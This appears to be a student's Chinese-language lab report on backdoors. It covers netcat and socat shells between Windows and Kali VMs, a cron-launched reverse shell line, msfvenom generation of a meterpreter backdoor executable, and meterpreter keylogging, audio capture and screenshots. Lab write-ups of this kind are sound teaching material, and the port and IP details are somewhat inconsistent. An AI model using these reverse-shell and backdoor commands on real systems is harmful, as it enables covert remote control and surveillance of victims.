20155330 《网络对抗》 实验二 后门原理与实践

基础问题回答

  1. 例举你能想到的一个后门进入到你系统中的可能方式?

    在网站上下载非官方软件,所下载的软件中携带伪装过的后门程序。

  2. 例举你知道的后门如何启动起来(win及linux)的方式?

    将后门程序伪装为被启动项目。

  3. Meterpreter有哪些给你映像深刻的功能?

    记录音频、获取入侵主机权限。

  4. 如何发现自己有系统有没有被安装后门?

    使用杀毒软件进行查杀。

    实验内容

  5. 使用netcat获取主机操作Shell,cron启动
  6. 使用socat获取主机操作Shell, 任务计划启动
  7. 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
  8. 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    常用后门工具

    准备工作

  9. 打开cmd,输入ipconfig获取windows系统的IP地址和相关信息。
    • win10系统IP:192.168.43.248
    • win7系统IP:192.168.204.135
  10. 打开终端,输入ifconfig -a获取Kali的IP地址和相关信息。

Win获得Linux Shell

以下实践Windows基于Win10-64bit, Kali2-64bit.

  1. windows 打开监听

  1. Linux反弹连接win

  1. windows下获得一个linux shell,可运行任何指令,如ls

Linux获得Win Shell

以下实践Windows基于Win7-64bit, Kali2-64bit.(后同)

1.Linux运行监听指令

2.Windows反弹连接Linux

3.Linux下看到Windows的命令提示

nc传输数据

在win7的cmd中使用ncat.exe -l 5330监听端口,Kali中使用nc win7主机IP 5330连接win7系统输入数据,在win7同步显示。

使用netcat获取主机操作Shell,cron启动
  1. 在windows系统下监听5330端口
  2. crontab -e指令编辑一条定时任务(使用VIM编辑器编辑),在最后一行添加43 * * * * /bin/netcat 192.168.1.200 5215 -e /bin/sh(时间设置在Kali系统当前时间的后一分钟)
  3. 时间到43分时,windows系统获得Kali的shell,在cmd中输入命令whoami得到结果

    SoCat
  4. 在Windows系统下,打开控制面板->管理工具->任务计划程序,创建任务,填写任务名称后,新建一个触发器
  5. 在操作->程序/脚本中选择socat.exe文件的路径,在添加参数一栏填写tcp-listen:5330 exec:cmd.exe,pty,stderr(作用:把cmd.exe绑定到端口5215,同时将cmd.exe的stderr重定向到stdout)
  6. 在Kali环境下输入指令socat - tcp:192.168.204.135:5330,第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5330端口,此时可成功获得cmd shell

    2.2 Meterpreter

生成20155330_backdoor.exe,复制到Win

  1. 输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.204.135 LPORT=5330 -f exe > 20155330_backdoor.exe生成后门程序



  1. 通过nc指令将生成的后门程序传送到Windows主机上
  • 参数说明:

    参数 相关说明
    -p 使用的payload。windows/meterpreter/reverse_tcp相当于shellcode。
    -x 使用的可执行文件模板,payload(shellcode)写入到该可执行文件中。
    -e 使用的编码器,用于对shellcode变形,为了免杀。
    -i 编码器的迭代次数。
    -b badchar是payload中需要去除的字符。
    LHOST 是反弹回连的IP
    LPORT 是回连的端口
    -f 生成文件的类型
    > 输出到哪个文件

MSF打开监听进程

  1. 打开msfconsole
  2. 输入use exploit/multi/handler进行侦听,并设置相关参数.
  3. 设置完成后,执行监听。Linux平台的监听进程将获得Win主机的主动连接,并得到远程控制shell

Meterpreter常用功能

  1. 使用record_mic截获一段音频
  2. 使用screenshot截屏
  3. 使用keyscan_start指令记录击键的过程,使用keyscan_dump指令读取击键的记录
  4. 使用getuid指令查看当前用户

实验体会

此次实验首先要保证Kali和windows系统主机能够通过网络相互连接,才能进行之后的步骤。实验中主要遇到的问题就是电脑的摄像头无法连接到虚拟机,甚至在本机上也经常出现错误,应该是开学初的强制更新过程中驱动出了问题。

20155330 《网络对抗》 Exp2 后门原理与实践的更多相关文章

  1. 20155323刘威良 网络对抗 Exp2 后门原理与实践

    20155323 刘威良<网络攻防>Exp2后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主机操作Shell, ...

  2. 20155331 丹增旦达 网络攻防 Exp2后门原理与实践

    20155331 丹增旦达<网络攻防>Exp2后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启 ...

  3. 20155302 Exp2 后门原理与实践

    20155302<网络对抗>后门原理与实践 实验要求 1.使用netcat获取主机操作Shell,cron启动 (0.5分) 2.使用socat获取主机操作Shell, 任务计划启动 (0 ...

  4. 2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践 1. 后门原理与实践实验说明及预备知识 一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 ( ...

  5. 20155324《网络对抗》Exp2 后门原理与实践

    20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...

  6. 2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践

    2018-2019-2 20165237<网络对抗技术>Exp2 后门原理与实践 一.实践目标 使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, ...

  7. 2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践 实验内容(概要): (1)使用netcat获取主机Shell,cron启动 首先两个电脑(虚拟机)都得有netcat, ...

  8. 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践 - 实验任务 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主 ...

  9. 2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践 一.实验要求 (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用soc ...

  10. 2018-2019-2 20165235《网络对抗技术》Exp2 后门原理与实践

    2018-2019-2 20165235<网络对抗技术>Exp2 后门原理与实践 实验内容 1.使用netcat获取主机操作Shell,cron启动 2.使用socat获取主机操作Shel ...

随机推荐

  1. 并发容器(四)ConcurrentHashMap 深入解析(JDK1.6)

      这篇文章深入分析的是 JDK1.6的 ConcurrentHashMap 的实现原理,但在JDK1.8中又改进了 ConcurrentHashMap 的实现,废弃了 segments.虽然是已经被 ...

  2. 5,注释、分支结构、循环结构、伪“选择结构”

    注释: python使用#作为行注释符,使用三引号作为多行注释符 分支结构: if-else: a=int(input("你的成绩是:")) if a>60: print(& ...

  3. go语言开发环境、goland、IDE

    1.下载: https://studygolang.com/dl 可以从这个网址下载,版本根据你的系统来: 64位系统,可以下载推荐版本: 我安装的是32位系统,下载的是下面这个: 如果你的是其他的系 ...

  4. LeetCode题解之 Letter Case Permutation

    1.题目描述 2.问题分析 可以使用递归的方法解决,参考了别人的答案才写出来的. 3.代码 vector<string> letterCasePermutation(string S) { ...

  5. jquery插件导出excel和pdf(解决中文乱码问题)

    参考文件:http://jackyrong.iteye.com/blog/2169683 https://my.oschina.net/aruan/blog/418980 https://segmen ...

  6. 红帽7中firewall常用指令

    1.端口管理 (1)列出DMZ区域开放的端口 ~]#firewall-cmd --zone=dmz --list-ports (2)8080端口加入dmz区 ~]#firewall-cmd --zon ...

  7. Web Api跨域访问配置及调用示例

    1.Web Api跨域访问配置. 在Web.config中的system.webServer内添加以下代码: <httpProtocol> <customHeaders> &l ...

  8. ulimit linux文件配置

    文件描述符在形式上是一个非负整数.实际上,它是一个索引值,指向内核为每一个进程所维护的该进程打开文件的记录表.当程序打开一个现有文件或者创建一个新文件时,内核向进程返回一个文件描述符.在程序设计中,一 ...

  9. TruncateATable 清除一张表

    当我们想删除一张表的全部数据时,我们可以使用 truncate 关键字,但如果要删除的表的主键被引用了,那么就无法执行语句. 1.制作清除数据的工具 ,在 nuget 控制台中输入 Install-P ...

  10. 模拟prompt

    <!DOCTYPE html"> <meta http-equiv="Content-Type" content="text/html; ch ...